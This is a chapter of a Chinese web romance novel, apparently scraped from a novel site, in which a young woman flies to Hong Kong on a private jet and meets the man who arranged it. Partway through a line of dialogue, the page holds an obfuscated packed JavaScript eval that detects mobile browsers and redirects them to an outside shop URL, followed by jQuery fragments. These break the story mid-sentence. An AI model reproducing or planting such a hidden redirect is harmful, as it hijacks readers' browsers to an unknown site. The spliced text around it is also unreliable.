文趣网 > 都市小说 > 婚内出逃 > 10. 车里
    池楹照着利斯言的意思,把航班信息和落地后的酒店地址、房间号一并发给了池方伟。

    这是利斯言的要求。

    是他让她立即回国,行程安排又大半出于他的决定,所以后续落脚在哪里、怎么走,自然要告知她的家人。

    等到池方伟的回复,已是国内的年初一早上,他没有问她提前回来的缘由,倒是好奇她是通过什么渠道坐上公务机的。

    池楹也想问利斯言,只是自从她发消息告诉他已经登机,他再没有回过音。她大约猜到他很忙,想了想,也就作罢了。

    客舱里一共四个乘客,除她之外,还有一对中年夫妻和一个年轻男人。三方之间的边界感都很强,各自落座,各自沉默。

    乘务员对她照顾有加,餐单讲解得很仔细,机上设施也是耐心地给她讲解使用方式。

    近十五个小时的航程,她吃得好,睡得也好。

    不知飞到了哪里,机身因为气流颠了几下。她本就快睡饱了,被这一晃,缓缓地睁开了眼睛。

    舱内灯光调暗着,夫妻二人已经睡了,那个年轻男人还开着阅读灯低头看文件。池楹侧过身,伸手把遮阳板拉开一道缝,往外看了一眼,随即把它整个推了上去。

    她一下子说不出话来。

    不知是飞越了白令海峡还是阿拉斯加的某片无人山脉,舷窗外是一整片不见边际的深蓝,浓稠而透明。云层远在机翼之下,薄薄地铺着,被月光从上方打亮,泛出银白色的光晕,一层叠着一层,浪漫至极。

    再往上,是星星。

    多得有些不真实,密密匝匝地缀在那片深蓝里。这里没有城市光污染,也没有云的遮挡,每一颗都亮得璀璨。

    池楹看了好一会儿,才想起来摸手机。

    她竖着拍了一张,又横着拍了一张,调了调曝光,满意才存进相册。

    存好之后,她抱着手机,靠在椅背上,重新看向那扇舷窗。

    此时她想起了利斯言,她不知道他是不是在睡觉,不知道他此刻在哪里,不知道他那边此刻是什么天气。她只是想着,要是能把这片夜空发给他看就好了。

    但万米高空上,是发不了彩信的。

    心下有个念头一闪而过,下了飞机就加利斯言的微信吧。

    以后,她就可以把照片发给他了。

    /

    大年初二的凌晨,湾流的机轮压上赤鱲角北跑道,接着缓缓停进商旅航空中心的专属停机坪。

    舱门开了,铝制舷梯放下来。

    池楹走下舷梯,四处望了望。临降落前,空乘过来捎了句话,说落地后会有人来接她。

    她以为是利斯言。

    但朝她走来的,是个四十多岁的中年女人,对方走近了主动开口:“池小姐,新年好。小利总安排我来接你。”

    池楹回过神,道了声谢谢,又说辛苦了。

    没多久,车子载她离开公务机楼,驶上汲水门大桥。海面在两侧沉沉铺开,没有月亮,只有远处几艘船的灯火在水上拖出细长的倒影。

    池楹一直望着窗外。

    说实话,她有些失落,但又很矛盾地庆幸,来的不是他。毕竟真见到利斯言,她不知道该说什么,连开口的姿态都想不好。

    “利先生是不是很忙?”池楹还是开口了。

    康蔓:“对,小利总这两天要忙着扫楼。”

    池楹没听懂,“扫楼是什么?”

    “唔……”康蔓想了一下,“就是登门拜访的意思,我们普通人家过年走动的是亲眷好友,小利总那边对象都是生意上的人情,要见的人多,行程排得很满。”

    康蔓又抬头在中控后视镜里看了眼池楹,想了下,还是补充了句:“另外,小利总出于安全和隐私考虑,觉得还是由我来接你更合适。”

    这般考量也安抚了池楹的心思。

    池方伟之后一直追问,给她订公务机的是什么人。她若是照实说,是个见了几次面的男人,安排了飞机,又安排了住处,池方伟怕是二话不说就直接飞HK把她接走了。

    所以她撒了谎,说是同学的父亲帮忙安排的,对方家境阔绰,出国行程如日常,联系航班自然不是难事。

    池方伟听完,立刻转了一笔钱过来,叮嘱她费用要给清,礼数要周到,不能欠人情。

    池楹都应下了。

    只是应下之后,她也有过一阵不安。

    利斯言究竟是个什么样的人,她其实并不清楚。见过几次面,通过短信电话联络了小三个月,仅凭这些,她没有办法说自己完全信任他。

    只是那时候她逃避心切,没有别的选择,也没有人可以商量,就这么上了飞机。

    /

    车子经过一段仅容单车通行的私属坡道后,抵达了位于HK半山罗便臣道尽头的酒店,蔚山居。

    由于这处酒店不对外公开预订,只通过私人礼宾部邀请制或特定圈层预订入住,停车位上停着的均是平日里难得一见的豪车,池楹从车上下来,目光不自觉地一一扫过去,步子也跟着放慢了些。

    其中有辆车牌号为「L19」的法拉利GTC4Lusso,她略顿了一下,才继续往酒店门口走。

    走了两步,她突然回过头,看了眼康蔓来接她的那辆车。

    车牌号是「L89」。

    她站在原地,心里把那几个数字拨来拨去地排了一遍,没再多想,转身进了酒店。

    回到房间,池楹给利斯言发了条消息,告知他,自己已经到了酒店。

    他回得很快,快到她特意看了眼手机屏幕上的时间,都快凌晨四点了,他居然秒回。

    池楹快步走到窗边,往楼下看了眼,她房间的一角窗户,可以看到酒店的停车位。

    她忽然很想知道那个答案,于是拨出电话。

    接通后,她问:“利先生,你是哪一年出生的?”

    电话里安静了一秒。

    “1989年。”

    她又问:“那你现在在哪?”

    话刚落,电话那头传来一声没绷住的叹气音,接着才是男人的回答:“我在车里。”

    换作旁人,这时候大概会问,这么晚,你怎么在车里?

    但池楹不喜欢明知故问,快凌晨四点,他为何坐在车里,还看着她从车前走过。

    答案已经明了。

    唯一不确定的,是界限在哪里。

    停车场嵌在楼宇阴影里,一排车身静默,漆面沉光,唯有那辆法拉利跑车,红得张扬。

    这是很私人的座驾,意味着车里只有他。

    她收起先前的直白,提了个请求:“能开下车灯吗?”

    一两秒的安静后,听筒里传来一声低沉的机械轰鸣。

    声音钻进耳朵的同时,楼下的黑暗里,一道光骤然亮起。

    前照灯,日行灯,氛围灯,依次亮起。

    那辆红色法拉利就这样从沉沉夜色里显出完整的轮廓。

    “然后呢?”男人耐心地等着她下一步的指令。

    “没然后,你等我。”她收起手机,匆匆朝门口走。

    门开了,她却折回玄关,弯身去换掉脚上的酒店拖鞋。

    过去,池楹实在不理解姚思怡,明明刚洗过澡,那身睡衣也俏皮可爱,她却还是要花上半个小时换衣服、画淡妆,然后在夜色里奔向男友,即使对方只是来送个宵夜。

    此刻,她共情了姚思怡。她没有时间换掉全身的衣着,但也不想让他看见脚上那双卡通图案的袜子,和这身装扮实在有些违和。

    出了电梯,还没走出酒店大门,池楹就看见了利斯言。

    绅士有礼的男人提前从车里下来,候在门口。

    港岛的二月并不冷,男人着一身浅灰色休闲西装,身形修长,宽肩完美撑起西装的挺阔。

    男人的眉眼依旧是吸引池楹的最心动部位。眉骨深而立体,眼眸黑亮深邃,许是更近了些,她居然看到了浓密又上翘的睫毛。

    心不免咚咚两下。

    池楹走近一步,主动打招呼:“利先生。”

    当面听到这称呼,利斯言颇有无奈,但一笑之后,也就揭过了那个想法。毕竟小姑娘之前还用‘您’来尊称他,如今这称呼,已是不小的进步了。

    “嗯,找我有事要说?”他在电话里听出

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17721677|208691||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了她有事。

    “利先生,这次非常感谢你。”池楹没忘记池方伟的叮嘱,任何关系,必然是人情有来有往,才能走得远,“这次的机票和住宿费用,你给个总数,我转账给你。”

    话头到这,她拿出手机,点开V信名片二维码,递到他面前。

    利斯言犹豫了下,才摸出手机。

    两人同时低头操作手机,又同时抬起头来。池楹先晃了晃手机,笑得眉眼弯弯:“加上了。”

    利斯言跟着一笑:“这钱,你不用给。”

    “那不行!这不是小数目。”

    池楹人在湾流的时候,连上WiFi在网上查过公务机的舱位价格,非节假日在3-6万美元不等,眼下还是新年假期的航程,价格翻倍都不止。而蔚山居又是从不对外开放的私奢酒店,价格恐怕也不是挂牌酒店能比的。

    好在她账户上有小一百万,自认这点底气还是有的。

    利斯言不忍说破:“账单还没出来,所以我也不知道具体的数目。”

    池楹那趟公务机的航程,出于隐私保护,整机舱位被一位科技公司CEO和一对东南亚家族夫妇包下。剩余的座位,航司无权对外出售。

    利斯言找到VistaJet亚太区客户关系总监Leo帮忙。

    这位Leo出面斡旋,以包机公司客户服务的名义,帮这次的包机客户免去了一次停机费,附加一次免费升级。代价是对方松口,让售一个座位。

    舱位费对利斯言而言不值一提,真正的大头是Leo这个人情,这意味着将来某一天,Leo找到他办事,他是不能推的。

    至于酒店,是自家的产业,可以忽略不计。

    隐约猜到利斯言是找理由推却,池楹追问:“那账单什么时候能出来呢?”

    利斯言顿了两秒,想着这么搪塞过去不是法子。

    “这样吧,我是做生意的,就当是讨个好意头,你发个八千八的红包就可以。”

    “啊?这么少吗?”

    利斯言看着她年轻明丽的脸,他忽然觉得这件事办得欠妥。

    他让她被动背上了这个心理负担。照实收,不是她这个年纪接得住的数目;刻意免了,又像在提醒她欠着人情。

    他能拖就拖:“要不这样,等你工作了,再给我也行。”

    这下,池楹再傻也明白利斯言这般打太极是什么意思。

    这次照面之前,他始终沉稳的情绪、体贴有度的照顾,让人产生一种错觉,她可以往前进一步。

    可真正见了面,她分明感到,他周身有一道难以逾越的边界。

    她太年轻,分不清那是财富阶层还是人生阅历隔开的差距。

    但她还是鼓起勇气,当着他的面,亲口说了句:“利先生,新年快乐!”

    那架湾流开始降高度的时候,机长的声音从广播里传了出来。

    “女士们、先生们,这里是驾驶舱。我们已经进入HK空域,预计十五分钟后降落。目前地面温度十三度,微风,有薄雾。”

    “今天是年初二,在这个万米高空,我代表全体机组,祝各位新年平安、顺遂。愿您落地之后,有灯可待,有人同席。”

    “新年快乐。”

    广播结束。舷窗外,HK的灯火已经在薄雾中隐隐浮现。

    落地后,那对夫妇起身经过她身边的时候,对她道了声:“新年快乐。”

    接着是那位年轻男子,最后是机组人员。

    满载祝福的她走出机舱,湿润的空气扑面而来,她站在廊桥口,心脏微微发酸。

    2017年的春节,注定会在她心里留下不一样的印记。

    她第一次和陌生人在飞机上过年。

    她第一次主动奔向特殊意义的人。

    她第一次当天就实现了新年愿望。

    此刻,她对利斯言说完新年快乐,心里还有很长的一句话没有出口。

    利先生,你知道吗,有人祝我落地之后,有灯可待,有人同席。

    我想,我已经实现了这个愿望。

    谢谢你为我亮起的灯。

    谢谢你与我共度今宵。